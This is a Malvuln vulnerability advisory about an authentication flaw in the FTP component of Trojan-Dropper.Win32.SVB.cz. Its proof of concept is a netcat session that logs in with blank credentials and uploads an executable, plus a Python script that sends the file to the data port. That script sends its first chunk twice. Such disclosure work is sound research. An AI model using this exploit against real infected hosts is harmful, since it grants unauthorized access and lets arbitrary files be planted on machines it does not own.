Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/d57536189430fd75e45f53845e9b3f94.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Trojan-Dropper.Win32.SVB.cz
Vulnerability: Authentication Bypass RCE
Description: The malware listens on TCP port 8181 (default) and has several protocols that can be enabled, FTP port 1212 and WEB port 80 and drops its executable under AppData\Local\Temp. The FTP component accepts empty credentials for authentication as the default settings are set to blank. Third-party attackers who can reach an infected host can potentially gain access to the machine before or if no password is set.
Type: PE32
MD5: d57536189430fd75e45f53845e9b3f94
Vuln ID: MVID-2021-0266
Dropped files: opeC248.exe
Disclosure: 07/03/2021


Exploit/PoC:
nc64.exe 192.168.18.129 1212
220 ShangXing Ftp Server
USER
331 Password required for .
PASS
230 User  logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
CDUP
250 CWD command successful. "C:/" is current directory.
PASV
227 Entering Passive Mode (192,168,18,129,194,64).
STOR DOOM.exe
150 Opening data connection for DOOM.exe.
226 File received ok

from socket import *

MALWARE_HOST="192.168.18.127"
#194*256 + 64
PORT=49728
DOOM="DOOM.exe"

def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    f = open(DOOM, "rb")
    EXE = f.read()
    s.send(EXE)

    while EXE:
        s.send(EXE)
        EXE=f.read()
    
    s.close()

    print("Trojan-Dropper.Win32.SVB.cz / Authentication Bypass RCE")
    print("MD5: d57536189430fd75e45f53845e9b3f94")
    print("By Malvuln");

if __name__=="__main__":
    doit()


Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).